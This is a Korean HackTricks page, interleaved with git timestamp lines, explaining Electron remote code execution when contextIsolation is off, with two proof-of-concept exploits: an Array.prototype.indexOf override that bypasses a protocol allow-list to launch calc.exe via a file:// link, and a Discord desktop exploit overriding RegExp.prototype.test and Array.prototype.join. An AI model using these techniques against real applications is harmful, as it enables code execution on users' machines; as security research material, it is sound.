2024-02-10 21:30:13 +00:00
# Electron contextIsolation RCE를 통한 preload 코드
2022-04-28 16:01:33 +00:00
< details >
2024-02-10 21:30:13 +00:00
< summary > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > 를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요< strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그** ](https://peass.creator-spring.com )를 얻으세요.
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견하세요. 독점적인 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 컬렉션입니다.
* 💬 [**Discord 그룹** ](https://discord.gg/hRep4RUj7f ) 또는 [**텔레그램 그룹** ](https://t.me/peass )에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**를** **팔로우**하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 자신의 해킹 기법을 공유하세요.
2022-04-28 16:01:33 +00:00
< / details >
2024-02-10 21:30:13 +00:00
## 예제 1
2022-04-20 12:35:33 +00:00
2024-02-10 21:30:13 +00:00
[https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30 ](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30 )에서 가져온 예제입니다.
2022-04-20 12:35:33 +00:00
2024-02-10 21:30:13 +00:00
이 코드는 기본 브라우저로 http(s) 링크를 엽니다:
2022-04-20 12:35:33 +00:00
2022-06-27 08:48:17 +00:00
![](< .. / . . / . . / . gitbook / assets / image ( 375 ) ( 1 ) ( 1 ) . png > )
2022-04-20 12:35:33 +00:00
2024-02-10 21:30:13 +00:00
`file:///C:/Windows/systemd32/calc.exe` 와 같은 것을 사용하여 calc를 실행할 수 있습니다. `SAFE_PROTOCOLS.indexOf` 가 이를 방지하고 있습니다.
2022-04-20 12:35:33 +00:00
2024-02-10 21:30:13 +00:00
따라서 공격자는 XSS 또는 임의의 페이지 탐색을 통해 이 JS 코드를 삽입할 수 있습니다:
2022-04-20 12:35:33 +00:00
```html
< script >
Array.prototype.indexOf = function(){
2024-02-10 21:30:13 +00:00
return 1337;
2022-04-20 12:35:33 +00:00
}
< / script >
```
2024-02-10 21:30:13 +00:00
`SAFE_PROTOCOLS.indexOf` 호출은 항상 1337을 반환하므로, 공격자는 보호 기능을 우회하고 calc를 실행할 수 있습니다. 최종 익스플로잇:
2022-04-20 12:35:33 +00:00
```html
< script >
Array.prototype.indexOf = function(){
2024-02-10 21:30:13 +00:00
return 1337;
2022-04-20 12:35:33 +00:00
}
< / script >
< a href = "file:///C:/Windows/systemd32/calc.exe" > CLICK< / a >
```
2024-02-10 21:30:13 +00:00
다른 권한 요청 프롬프트 없이 프로그램을 실행하는 다른 방법은 원본 슬라이드를 확인하십시오.
2022-04-20 12:35:33 +00:00
2024-02-10 21:30:13 +00:00
아마도 코드를 로드하고 실행하는 또 다른 방법은 `file://127.0.0.1/electron/rce.jar` 와 같은 것에 접근하는 것입니다.
2022-04-20 12:35:33 +00:00
2024-02-10 21:30:13 +00:00
## 예제 2: Discord 앱 RCE
2022-04-20 12:35:33 +00:00
2024-02-10 21:30:13 +00:00
예제 출처: [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1 ](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1 )
2022-04-20 12:35:33 +00:00
2024-02-10 21:30:13 +00:00
preload 스크립트를 확인할 때, Discord는 웹 페이지에서 `DiscordNative.nativeModules.requireModule('MODULE-NAME')` 을 통해 일부 허용된 모듈을 호출할 수 있는 함수를 노출시킵니다.\
여기서는 _child\_process_ 모듈과 같이 RCE에 직접 사용할 수 있는 모듈을 사용할 수 없었지만, **JavaScript 내장 메서드를 무시하고 노출된 모듈의 실행에 간섭함으로써 RCE를 달성할 수 있는 코드를 찾았습니다** .
2022-04-20 12:35:33 +00:00
2024-02-10 21:30:13 +00:00
다음은 PoC입니다. ** `RegExp.prototype.test` 과 `Array.prototype.join` 을 무시**하면서 "_discord\_utils_"라는 모듈에서 정의된 `getGPUDriverVersions` 함수를 devTools에서 호출하면 **calc 애플리케이션이 팝업되는 것을 확인할 수 있었습니다** .
2022-04-20 12:35:33 +00:00
```javascript
RegExp.prototype.test=function(){
2024-02-10 21:30:13 +00:00
return false;
2022-04-20 12:35:33 +00:00
}
Array.prototype.join=function(){
2024-02-10 21:30:13 +00:00
return "calc";
2022-04-20 12:35:33 +00:00
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
```
2024-02-10 21:30:13 +00:00
`getGPUDriverVersions` 함수는 다음과 같이 "_execa_" 라이브러리를 사용하여 프로그램을 실행하려고 시도합니다:
2022-04-20 12:35:33 +00:00
```javascript
module.exports.getGPUDriverVersions = async () => {
2024-02-10 21:30:13 +00:00
if (process.platform !== 'win32') {
return {};
}
2022-04-20 12:35:33 +00:00
2024-02-10 21:30:13 +00:00
const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe` ;
2022-04-20 12:35:33 +00:00
2024-02-10 21:30:13 +00:00
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}
2022-04-20 12:35:33 +00:00
2024-02-10 21:30:13 +00:00
return result;
2022-04-20 12:35:33 +00:00
};
```
2024-02-10 21:30:13 +00:00
일반적으로 _execa_는 `nvidiaSmiPath` 변수에 지정된 "_nvidia-smi.exe_"를 실행하려고 시도하지만, `RegExp.prototype.test` 와 `Array.prototype.join` 이 덮어쓰여져 있기 때문에 **인자는 \_execa의 내부 처리에서 "**_**calc**_** "로 대체됩니다.
2022-04-20 12:35:33 +00:00
2024-02-10 21:30:13 +00:00
구체적으로, 다음 두 부분을 변경하여 인자를 대체합니다.
2022-04-20 12:35:33 +00:00
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36 ](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36 )
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55 ](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55 )
2022-04-28 16:01:33 +00:00
< details >
2024-02-10 21:30:13 +00:00
< summary > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > 를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!< / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그** ](https://peass.creator-spring.com )를 얻으세요.
* 독점적인 [**NFT** ](https://opensea.io/collection/the-peass-family ) 컬렉션인 [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견하세요.
* 💬 [**Discord 그룹** ](https://discord.gg/hRep4RUj7f ) 또는 [**텔레그램 그룹** ](https://t.me/peass )에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )을 **팔로우**하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
2022-04-28 16:01:33 +00:00
< / details >